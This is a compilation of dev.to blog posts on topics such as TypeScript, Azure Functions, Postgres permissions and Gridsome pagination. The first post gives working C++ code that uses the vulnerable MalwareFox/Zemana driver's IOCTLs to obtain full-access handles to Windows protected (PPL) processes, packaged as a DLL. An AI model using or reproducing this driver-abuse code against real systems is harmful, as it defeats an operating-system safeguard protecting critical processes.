teleren/devto huggingface dataset:
Bypass Windows PPL
Published: 2021-02-15 23:32:22

PPL stands for "Protected Processes Light," a security feature implemented by Microsoft in Windows. Introduced in Windows 8.1, PPL is designed to protect critical system processes from being tampered with, even by privileged users or software.

The concept of protected processes was initially implemented to safeguard DRM (Digital Rights Management) processes like media playback. However, Microsoft expanded this protection feature to critical system processes for enhancing overall system integrity.

You all know, that are many ways to bypass Windows PPL to get full control of (excample csrss.exe).

I can show you a little way.
There are many vulnerable Driver, for example (Razer and Malware Fox).

I found a good Turotial  with the MalwareFox driver.
MalwareFox is an free AntiVirus Programm which uses an Kernel Driver.

I recoded the source a little bit, and I can now export the Project as an DLL file and call the methods from a C# Project to get the Handle with full access (for example csrss.exe).


```cpp

HANDLE MFAM_GH(DWORD pid) {
    HANDLE hDevice = CreateFile(L"\\\\.\\ZemanaAntiMalware", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDevice == INVALID_HANDLE_VALUE)
        return (HANDLE)0x0;
    DWORD ourPID = GetCurrentProcessId();
    if (!DeviceIoControl(hDevice, 0x80002010, &ourPID, sizeof(DWORD), NULL, 0, NULL, NULL)) {
        CloseHandle(hDevice);
        return (HANDLE)0x0;
    }
    HANDLE hProcess = NULL;
    DeviceIoControl(hDevice, 0x8000204C, &pid, sizeof(DWORD), &hProcess, sizeof(HANDLE), NULL, NULL);
    CloseHandle(hDevice);
    return hProcess;
}

HANDLE handle_htest2;

//Gives the Handle to application
extern "C" __declspec(dllexport) void GiveH(int csiid, int prcid)
{
    HANDLE htest = OpenProcess(PROCESS_ALL_ACCESS, FALSE, csiid);
    DWORD pid = csiid;
    DWORD dere = prcid;
    HANDLE hProcess = MFAM_GH(pid);
    handle_htest2 = MFAM_GH(dere);
    return;
}

//Get Handle as variable
extern "C" __declspec(dllexport) HANDLE _handleGet(HANDLE handle_h)
{
    handle_h = handle_htest2;
    return handle_h;
}

```

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wxwboqntdgdy6ifur8sc.png)

[Original Article by NachoModding](https://guidedhacking.com/threads/how-to-bypass-windows-ppl-in-usermode.11789/)

### More Infosec Articles​

-   [Common Misconceptions About TryHackMe](https://dev.to/ghrake/common-misconceptions-about-tryhackme-5i9)
-   [HackTheBox Misconceptions](https://dev.to/ghrake/hackthebox-misconceptions-2ha)
-   [Malware Analysis](https://dev.to/ghrake/malware-analysis-352a)
Still love Typescript
Published: 2021-02-15 23:09:50

My frustrations with using JavaScript libraries that have no definition files is that intellisense is useless.

C'mon dudes it's hard enough to learn 10 zillion new things every year, can't we get some API help in the process?

It's a colossal waste of my time to have to 'go to definition' to discover apis, functions, classes etc. Who wants to read code and dive into internals when a simple prompt shows the way? Coupled with good doc comments, the English is there too. Intellisense is king.

I do like JavaScript however, mostly for the dynamic ability to append properties and functions at runtime! If used carefully this can be a tremendous value when swapping parts.  We had a new part a few years back that required a few new properties and functions, not too dissimilar to what we already had.  So to leave the majority of the code untouched we just added things as needed.

Everything worked perfectly and went into production three years ago. The code is still running in thousands of Best Buy stores daily, over there in the Geek Squad. That project was a JavaScript only project, it was very hard to work with.

JWP2020
Linking Jira ticket in PR description via Github Action
Tags: github, jira, githubactions
Published: 2021-02-15 22:48:48

---
title: Linking Jira ticket in PR description via Github Action
published: true
description: 
tags: github, jira, githubactions
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nbcb08qfinbzh5v2zp9h.png
---

I was looking for an easy way to generate a URL to a Jira ticket in the pull request description or as the first comment. The ticket number/code should be automatically extracted from the branch name.

Article moved to [Fandom engineering blog](https://medium.com/fandom-engineering/auto-linking-jira-ticket-in-pr-description-via-github-action-4022346f0554)
Azure Functions and graphQL
Tags: nextjs, react, azure
Published: 2021-02-15 22:45:38

The Apollo Server is a GraphQL oriented server. Seems like all React and Next.js folks are talking about GraphQL. So let's host this in an Azure Function.

- First Clone [this repo](https://github.com/Javaman2/apollo-example/tree/master/apollo-example). This is the function application which will be deployed into Azure. 

After cloning, you will have a Function Application (Azure container for functions) and an Apollo Server function.  

Follow the instructions to get it running locally.

**Deploy to Azure**

There's instructions on deploying as well. See if you can get the GraphQL playground running in Azure.

**Security, Keys and CORS**

You should have the playground up and running, but any attempt to call this function remotely will fail. Here's the rundown.

Your new React or Next app wants to call this function directly using fetch. To get it to work follow these tips:
 
- The fetch request must be a post
- The url must point to the function like this:

```jsx
https://xyz.azure.net/graphql 

//graphql is the function name but it can be any name
```
The default key must be included in the query string parameters with a name of 'code' like this:

```
/graphql?code=S1a1obVCO5pt5az4H5ZkV1GQsn...
```
The keys are found in the portal for the function. Just hit "GetFunctionURL" and a drop down shows with three keys.

-CORS must be set to allow your localhost:3000 port or whatever port is used. This is done at the Function Application layer. Just hit the CORS button. 

The body of the post must follow this syntax:

```jsx
let body = JSON.stringify({
      operationName: null,
      query: "{hello}",
      variables: {},
    })
```
Where the fetch request looks like this:

```jsx
    let r2 = await fetch(url, {
      body: body,
      method: "POST",
    });
```

And finally to get the response, it must be parsed like this:

```jsx
 let a2 = await r2.text();   
 //see code below for setAnswer2
 setAnswer2(
  JSON.parse(a2).data.hello
 );
```
Make sure you 'fetch' in the useEffect hook.

```
useEffect(async () => {
```
And set up a useState hook like this:

```jsx
 const [answer2, setAnswer2] = useState("");
```

Congratulations!

This is the first step in proof that we don't need traditional back-ends any longer. We just hit a function for each specific thing we need. We don't need a Virtual Machine, ASP.NET Core, Express or any of the older ways of doing things. We just hit the new microservice endpoint and keep doing things that way. 

Azure's scale up and scale out is easy, just click a button. You can deploy the same function worldwide in 10 minutes.

In the next post we'll explore the Apollo Client side in a Next.js application.

One Question:
Has SQL reached it's zenith?

JWP2020 Azure Functions Apollo-Server Graphql.
Top 3 free icon packs for your next project
Tags: webdev, productivity, development, frontend
Published: 2021-02-15 22:33:00

Who doesn't like some free resources? 😎 Here are my top 3 high-quality icon collections I use in almost every project.

## Unicons
[Unicons](https://iconscout.com/unicons/explore/line) contain 1000+ Pixel-perfect vector icons.

![Unicons](https://dev-to-uploads.s3.amazonaws.com/i/j8pqxwo5zn9xk67ml5lb.png)

***

## Heroicons
[Heroicons](https://heroicons.com) are beautiful hand-crafted SVG icons.
![Heroicons](https://dev-to-uploads.s3.amazonaws.com/i/541vylf57bevm82mhs85.png)

***

## Eva Icons
[Eva Icons](https://akveo.github.io/eva-icons) is a pack of more than 480 beautifully crafted Open Source icons for common actions and items.
![Eva icons](https://dev-to-uploads.s3.amazonaws.com/i/xvvg2r1zqs21hvphrzux.png)

***

Now build something awesome. 💪
100 Bytes Of Wisdom: Day 2
Tags: career, journey, advice
Published: 2021-02-15 22:13:36

---
title: 100 Bytes Of Wisdom: Day 2
published: true
description: Bytes of Wisdom is a new project by Sam Jarman that brings together snippets of advice for software engineers
tags: career, journey, advice
//cover_image: https://direct_url_to_image.jpg
---

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wzoujgjs179cvjrr6p8x.png)



Some of the cleverest code can be the most hard to read, maintain or debug. Clever code isn't because it's not maintainable and often no fun to work with. No matter how proud you are of your one-liner, or complex system you built... if you can't maintain it, it's not very clever, is it?


--

Heads up: As with any terse bit of advice, there will be exceptions of course, and subtleties and nuance that can't possibly be captured in a Byte of Wisdom. This has been what I've experienced, I'd love to hear yours in the comments too!
The Longterm Benefits of Effective Product Development
Tags: productivity, management, webdev
Published: 2021-02-15 22:11:40

I was reading the description of an upcoming project for our marketing team which started with this phrase...

> Usual campaign stuff -- templates, banner, sidebar

This may seem innocuous, but everything we're now describing as "the usual stuff" used to be highly specialized hardcoded hacks that used to take entire engineering cycles to work on. Now it's just part of the product and can be lumped in as the baseline work. These days it is a task our marketing team can pull off. A year ago it was a big last-minute software project every time.

Since you're on DEV, you should have some familiarity with what we're talking about. DEV is built on [Forem](https://github.com/forem/forem) (which was extracted from DEV) and includes functionality for running "campaigns" which is a highly flexible utilization of the site to launch specialized functionality without having to write new code into the core codebase. We use this for contests and partnerships. It's functionality we use consistently, but not too long ago this was a productivity pipe dream.

![xkcd automation](https://imgs.xkcd.com/comics/automation_2x.png)

This [xkcd comic](https://xkcd.com/1319/) makes reference to the presumed futility of efforts to automate a certain type of task. It is so often the case that hard software projects _not_ to result in actual value creation that it is worth celebrating when it does.

The work to "generalize" this functionality, make it re-usable for us and everyone who runs Forem, is an effort in longterm value creation that is easy to talk about abstractly, but seeing it in action as though taken for granted within our own team is still special. It's not necessarily easy to derive _actual_ productivity gains from the software we write. There are always tradeoffs. I've worked on a lot of projects which presume to offer actual business value or productivity wins but fail to provide that in practice. It's satisfying to take notice of the times when it does work out.

A year ago this was a big project with unknown payoff. Now it's just the "usual stuff".

Shout out to @ridhwana and @lightalloy who did most of the work on this project.
How to Set Up Pagination in Gridsome
Tags: vue, javascript, beginners, webdev
Published: 2021-02-15 22:06:28


<h3>What is Gridsome</h3>

Gridsome is a modern website development framework for creating fast and secure websites that can be deployed anywhere. Static HTML files are generated to create SEO-friendly markup that hydrates into a Vue.js-powered SPA once loaded in the browser. Gridsome has also made it easier than ever before to set up pagination 😄

<h3>Steps to set up Gridsome Pagination</h3>

I am assuming that you already have a Gridsome blog that fetches blog posts and you are adding pagination as a new feature. In that case, these are the steps to follow.
 
<p> - Setup Pagination in GraphQL query</p>
<p> - Import Gridsome's Pager component</p>
<p> - Add necessary styling</p>

<h3>Setup Pagination in GraphQL query</h3>

Data collection is handled by the GraphQL query in Gridsome. We can use the <strong>@paginate</strong> directive in the GraphQL query to add automatic pagination for a collection.

The query will receive a <strong>$page: Int </strong>variable you can use to load sources for a specific page.

```js
query ($page: Int) {
  allBlogPost(perPage: 10, page: $page) @paginate {
    pageInfo {
      totalPages
      currentPage
    }
    edges {
      node {
        id
        title
        path
      }
    }
  }
}
```
In the example above, each page will contain 10 blog posts.

<h3>Import Gridsome's Pager component</h3>

Gridsome has a built-in <strong>Pager</strong> component which can be imported for easy pagination. Import and add the Pager component from Gridsome.

```js
import { Pager } from 'gridsome';

export default {
  components: {
    Pager
  }
 }
```

Though the Pager component can accept multiple properties, the only required properties are <strong>"total number of Pages"</strong> and <strong>"current Page"</strong>. These properties can be found in <strong>"pageInfo"</strong> which we pass into the Pager component.

```html
<Pager :info="$page.allBlogPost.pageInfo" />
```

<h3>Add Custom Styles</h3>

We can style the pagination container using normal CSS classes but need to use the <strong>:linkClass</strong> property to style the links.

Template
```html
<Pager :info="$page.allBlogPost.pageInfo"
       class="pager-container"
       linkClass="pager-container__link"  />
```
Styles
```css
<style scoped lang="scss">
  .pager-container {
    display: inline-block;
    font-size: 1.5rem;
    text-align: center;
    width: 100%;
    color: black;
    
    &__link {
      text-align: center;
      padding: 0.6rem 1.2rem;
      color: white;
      text-decoration: none;
    }
  }

  .active {
    background-color:  rgb(44, 201, 180);
  }
</style>
```
That's all folk. I have been writing consistently for 4 months 🎉😄

You might also enjoy my article on <a href="https://www.lindaojo.com/blog/add-code-snippets-using-gridsome-prism-js-plugin/" target="_blank">How to add Code snippets to Gridsome</a>

<a href="https://lindaojo.com/articles" target="_blank">Read more of my articles</a>
GameDevHQ Intensive Training Week 01 / Week 08 [Day 1]
Published: 2021-02-15 21:41:45

Greeting,

My apologies if the way I start on this post sound cliché 😅 still getting used to in writing blog post.

Long story short I am participating in the 8 week intensive training from GameDevHQ and I am really excited.

We are making a tower defense system in this training and each week we are given a task / assignment that we need to complete in order to finish the game. The entire training is not aimed at those that are accustomed to seeing videos and wait to have all the answers; this type of training is not spoon fed and you need to learn how to search for answers and read documentation in order to complete the tasks.

Starting off for Day 1 for week 1, at first I needed to say that I was scared when I saw all the tasks but once I breathed in and broke down the task I was able to have solid ideas of what I needed to do.

This where the following task:

*AI System*
Bake Navmesh Floor
AI Should only walk the baked path
AI should walk 1.5 meters per second (adjustable in the inspector) 
AI has health properties
AI have warFund (currency) value for being killed
Modular class to support multiple enemy types
Walk Animations Playing by Default

*Spawn Manager*
Create start & end points on the map
Turn the SpawnManager into a Singleton
Spawn Enemies at the start position
Randomize enemy types
Assign target destination one spawned
The appropriate delay between spawns
Keep Environment tidy when spawning
Recycle Enemies not Destroyed
Wave System (Amount to spawn = 10 * currentWave)
Use Object Pooling

For the first day I decided to only tackle the AI System.  

Personally it was the first time that I used Navmesh on Unity so it took me a while to have a solid walkable path for my enemy to walk on. Then I added the EnemyAI script and added the following property like health, speed walk and used an Enum to have a way to select what type of enemy is the one holding the script so different enemies can have different speeds, different heath values and different rewards to give the player.

For my first day I am really proud 😆

Next up is to tackle the Spawn manager...to be continue
2021 Ultimate Guide to Increase WordPress Site Speed
Published: 2021-02-15 21:40:05

---
title: 2021 Ultimate Guide to Increase WordPress Site Speed
published: true
//cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/34t5csqg7h0smvvhq0to.jpg
--- 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/34t5csqg7h0smvvhq0to.jpg)

🚀🚀Speed up your #WorPress site🚀🚀
This is the 2021 Ultimate Guide to Increase WordPress Site Speed :

⚡Test Website Speed 
⚡Choose a Good and Reliable Web Host 
⚡Always Keep Your Plugins, Themes, and WordPress Software Updated
⚡Only Use High-Quality Themes and Plugins
⚡Check Plugins & Make Sure They Work
⚡Delete Unused Themes and Plugins
⚡Optimize Website’s Images
⚡Choose the Right Image Resolution & Format
⚡Add LazyLoad to Your Images & Videos
⚡Pay Attention to How Fast Google Ads Load
⚡Reduce the Number of Redirects
⚡Use a High Quality DNS Provider
⚡Make Sure to Use Content Delivery Networks
⚡Minify and Compress Your Website’s Files
⚡Enable Caching
⚡Enable gZIP Compression 
⚡Delete or Control Post Revisions 
⚡Cleanup WordPress database
⚡Disable Hotlinking 
⚡Reduce Spam – Install Akismet Plugin 
⚡Disable Pingbacks and Trackbacks 
⚡Improving Website Speed on Mobile View


Initially created on Twitter: 
{% twitter 1361417873315438595%}
 

Thanks for reading.

I hope you found this WordPress site speed optimization post useful and if you did, make sure you follow me and give it a ❤.
giving and taking permissions on postgres
Tags: postgres, todayilearned, database
Published: 2021-02-15 21:35:50

#Intro
I'm writing a short and handy guide to anyone in a jr position - especially if you are a junior sysadmin. I often find myself having to search for a specific command to do something basic. I'm fully aware there are tons of other tutorials/posts, but I hope you find this one clear and helpful. 

#Privileges

Postgres offers 12 types of privileges, they are

* SELECT
* INSERT
* UPDATE
* DELETE
* TRUNCATE
* REFERENCES
* TRIGGER
* CREATE
* CONNECT
* TEMPORARY
* EXECUTE
* USAGE



#Commands
This are some examples based on what I use most in my day-to-day as an infrastructure analyst.

- To give all privileges in a database for some user
`GRANT ALL PRIVILEGES IN your_database TO your_user;`

- To let an user login

`GRANT CONNECT ON DATABASE your_database TO your_user;`

- To become a superuser

`ALTER USER your_user WITH SUPERUSER;`

- To let a user create databases

`ALTER USER your_user CREATEDB;`

- Giving permissions in a schema

```
GRANT USAGE ON SCHEMA schema_name TO your_user;
GRANT SELECT, INSERT ON ALL TABLES IN SCHEMA schema_name TO username; 
```

- Giving permissions in a specific table 

`GRANT  { SELECT | INSERT | UPDATE | REFERENCES } ON TABLE table_name TO your_user`

- This one is for giving permissions in all schemas of a database (there are other ways to do this)
`SELECT format('GRANT USAGE ON SCHEMA %I TO readonly_group;', schema_name) FROM information_schema.schemata \gexec`

- This one gives permissions on all tables in all schemas (again, there are other ways to do this)
`SELECT format('GRANT SELECT ON ALL TABLES IN SCHEMA %I TO readonly_group;', schema_name) FROM information_schema.schemata \gexec`

#Taking privileges

First of all I'll show you how to remove privilege from a superuser

`ALTER USER username WITH NOSUPERUSER;`

The command `REVOKE` is used with similar syntax as `GRANT`, only difference is that it *revokes* privileges.

##Examples

- Removing user from role/group 
`REVOKE role FROM user;` or `ALTER GROUP group DROP USER user;`

- Removing all privileges from a user

`REVOKE ALL PRIVILEGES ON table FROM user;` 

#Conclusion

This is an alive document and I'm open to criticism, i'll probably update this with new findings.

#References
Here is a full guide with all PostgreSQL Commands (a.k.a documentation) - https://www.postgresql.org/docs/13/sql-commands.html
How to Create and install Free SSL certificates in IIS?
Published: 2021-02-15 21:02:24

All you need to do is to download the newest release, copy it to your web server, unzip it and run it. 

###win-acme
--A simple interface to create and install certificates on IIS server
--Compatible with all popular ACME service providers, including Let’s Encrypt, ZeroSSL, DigiCert, Sectigo, etc...
--Automatically creates a scheduled task to renew certificates.
--Get certificates with wildcards (*.example.com) as well.

https://www.win-acme.com/
https://github.com/win-acme/win-acme

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gvf859cz4xaxujgcgi9s.png)
 
This is a ACMEv2 client for Windows that aims to be very simple to start with, but powerful enough to grow into almost every scenario.
Easily Bulk Rename Files on Windows
Tags: productivity, tutorial
Published: 2021-02-15 21:00:22

{% youtube DCP1elBAy_U %}

In this tutorial, I will show you how to rename several files at once in Windows 10. You not only can append text to filenames, but you can even create advanced regular expressions or enumerate your files. There are also text transformations available to make your filenames all uppercase or lowercase.

To get started, I will be using PowerRename which is part of Microsoft PowerToys.

{% github microsoft/powertoys %}

You can install PowerToys by heading to [this link](https://github.com/microsoft/PowerToys/releases/) and downloading the executable for the latest release (as of writing this, it's called `PowerToysSetup-0.31.2-x64.exe`)

Once it's installed, you should be able to see PowerRename as an option in your Right-click menu when selecting files in your File Explorer.

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kdxvvuq0dbcp5ajpa72q.png)
 
Once you click that, you should see a popup come up with a search box, replace box, some options, and a preview.

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oydu680h2ltuv88hmoh9.png)
 
To make a simple word replacement, you can type the word to search for in the first box, the word to replace it with in the second box, preview the results, and click "Rename".

![easy gif](https://media.giphy.com/media/3o7btNa0RUYa5E7iiQ/giphy.gif)

If you want more complex replacements, such as matching several different words or characters, reordering parts of the filename, or duplicating sections, you can do that with [Regular Expressions](https://www.youtube.com/playlist?list=PL9YUC9AZJGFGB7qnffZD0Iu7kntOSgfS7).

For example, to match the words "Lab" or "Lecture" in a filename, we can use `(Lab|Lecture)` in our search text. Just make sure to click the box for "Use Regular Expressions."

To rearrange parts of a filename, you can reference capturing groups in the replace text.

For example, if you had files that all ended with a 2-digit number and you wanted to move it to the beginning, your search text may be in the form `(.*)(\d\d)` and you could replace it with `$2$1` where `$2` is the second capturing group, `(\d\d)`, and `$1` is the first capturing group, `(.*)`.

In my video, [How to Bulk Rename Files Easily on Windows](https://www.youtube.com/watch?v=DCP1elBAy_U), I show how it is possible to reorder parts of a filename, add padding zeroes, and change date formats with just a few simple replacements.

Be sure to check it out and subscribe for more tips!

Thanks for your support!

\- Jonah Lawrence

🐦 [@DenverCoder1](https://twitter.com/DenverCoder1)

📺 [Jonah Lawrence • Dev Pro Tips](https://www.youtube.com/channel/UCipSxT7a3rn81vGLw9lqRkg)